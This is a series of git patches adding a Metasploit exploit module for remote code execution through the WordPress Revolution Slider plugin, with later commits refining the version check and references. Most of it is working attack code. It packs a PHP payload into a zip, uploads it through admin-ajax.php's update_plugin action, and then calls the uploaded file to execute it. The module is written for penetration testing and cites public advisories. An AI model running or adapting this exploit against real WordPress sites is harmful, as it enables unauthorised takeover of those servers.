From 8cb18f8afe89776353dddc493a927e0deb1941f6 Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Sat, 2 May 2015 09:39:32 -0500 Subject: [PATCH 1/4] Initial commit of code --- .../webapp/wp_revslider_upload_execute.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/unix/webapp/wp_revslider_upload_execute.rb diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb new file mode 100644 index 0000000000..1e8a14f4d7 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + require 'rex/zip' + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary PHP code upload in the WordPress ThemePunch + Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The + vulnerability allows for arbitrary file upload and remote code execution. + }, + 'Author' => + [ + 'Simo Ben youssef', # Vulnerability discovery + 'Tom Sellers ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'], + ['URL', 'https://www.exploit-db.com/exploits/35385/'], + ['EDB', '35385'], + ['OSVDB', '115118'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]], + 'DisclosureDate' => 'Nov 26 2015', + 'DefaultTarget' => 0) + ) + end + + def check + fixed_version = '3.0.96' + + # RevSlider doesn't have a readme.txt, look elsewhere + release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt') + vprint_status("#{peer} - Checking #{release_log_url}") + res = send_request_cgi( + 'uri' => release_log_url, + 'method' => 'GET' + ) + + if res.nil? || res.code != 200 + # No release_log.txt present for plugin + return Msf::Exploit::CheckCode::Unknown + end + + if res.body + body = res.body.to_s + version = body[/(?:version)\s*([0-9a-z.-]+)/i, 1] + end + + # Could not identify version number + return Msf::Exploit::CheckCode::Detected if version.nil? + + vprint_status("#{peer} - Found version #{version}") + + # Check to see if version older than fixed version + if Gem::Version.new(version) < Gem::Version.new(fixed_version) + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def exploit + php_pagename = rand_text_alpha(4 + rand(4)) + '.php' + + # Build the zip + payload_zip = Rex::Zip::Archive.new + # If the filename in the zip is revslider.php it will be automatically + # executed but it will break the plugin and sometimes WordPress + payload_zip.add_file('revslider/' + php_pagename, payload.encoded) + + # Build the POST body + data = Rex::MIME::Message.new + data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"') + data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"') + data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"") + post_data = data.to_s + + res = send_request_cgi( + 'uri' => wordpress_url_admin_ajax, + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + ) + + if res + if res.code == 200 && res.body =~ /Update in progress/ + # The payload itself almost never deleted, try anyway + register_files_for_cleanup(php_pagename) + # This normally works + register_files_for_cleanup('../revslider.zip') + final_uri = normalize_uri(wordpress_url_plugins, 'revslider', '/temp/update_extract/revslider/' + php_pagename) + print_good("#{peer} - Our payload is at: #{final_uri}") + print_status("#{peer} - Calling payload...") + send_request_cgi( + 'uri' => normalize_uri(final_uri), + 'timeout' => 5 + ) + elsif res.code == 200 && res.body =~ /^0$/ + # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown + fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") + end + else + fail_with(Failure::Unknown, 'ERROR') + end + + end +end From 18697d8d02fea77322fb605570b833c8af145667 Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Sat, 2 May 2015 18:15:55 -0500 Subject: [PATCH 2/4] Fixed the following based on feedback from @FireFart ( Thanks! ) - Adjusted references section - Corrected call to normalize_uri - Removed unnecessary require for rex/zip --- modules/exploits/unix/webapp/wp_revslider_upload_execute.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index 1e8a14f4d7..abeec39944 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper - require 'rex/zip' def initialize(info = {}) super(update_info(info, @@ -29,7 +28,6 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'], - ['URL', 'https://www.exploit-db.com/exploits/35385/'], ['EDB', '35385'], ['OSVDB', '115118'] ], @@ -105,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote register_files_for_cleanup(php_pagename) # This normally works register_files_for_cleanup('../revslider.zip') - final_uri = normalize_uri(wordpress_url_plugins, 'revslider', '/temp/update_extract/revslider/' + php_pagename) + final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename) print_good("#{peer} - Our payload is at: #{final_uri}") print_status("#{peer} - Calling payload...") send_request_cgi( From c293066198ec98463e120f21b89abb360f6af3d0 Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Sat, 2 May 2015 19:11:40 -0500 Subject: [PATCH 3/4] Leverage check_version_from_custom_file in PR #5292 Change the 'check' code to leverage check_version_from_custom_file added to wordpress/version.rb by @FireFart in PR #5292 --- .../webapp/wp_revslider_upload_execute.rb | 31 +------------------ 1 file changed, 1 insertion(+), 30 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index abeec39944..c00ec1071f 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -41,37 +41,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - fixed_version = '3.0.96' - - # RevSlider doesn't have a readme.txt, look elsewhere release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt') - vprint_status("#{peer} - Checking #{release_log_url}") - res = send_request_cgi( - 'uri' => release_log_url, - 'method' => 'GET' - ) - - if res.nil? || res.code != 200 - # No release_log.txt present for plugin - return Msf::Exploit::CheckCode::Unknown - end - - if res.body - body = res.body.to_s - version = body[/(?:version)\s*([0-9a-z.-]+)/i, 1] - end - - # Could not identify version number - return Msf::Exploit::CheckCode::Detected if version.nil? - - vprint_status("#{peer} - Found version #{version}") - - # Check to see if version older than fixed version - if Gem::Version.new(version) < Gem::Version.new(fixed_version) - return Msf::Exploit::CheckCode::Appears - else - return Msf::Exploit::CheckCode::Safe - end + check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96') end def exploit From 94d1905fd66c558dfa64a237a4f65cdaa3fa12f1 Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Sun, 3 May 2015 06:02:47 -0500 Subject: [PATCH 4/4] Added WPVDB reference Added a link to the new WPVDB article 7540 that @FireFart provided. --- modules/exploits/unix/webapp/wp_revslider_upload_execute.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index c00ec1071f..8d2f8c0021 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'], ['EDB', '35385'], + ['WPVDB', '7954'], ['OSVDB', '115118'] ], 'Privileged' => false,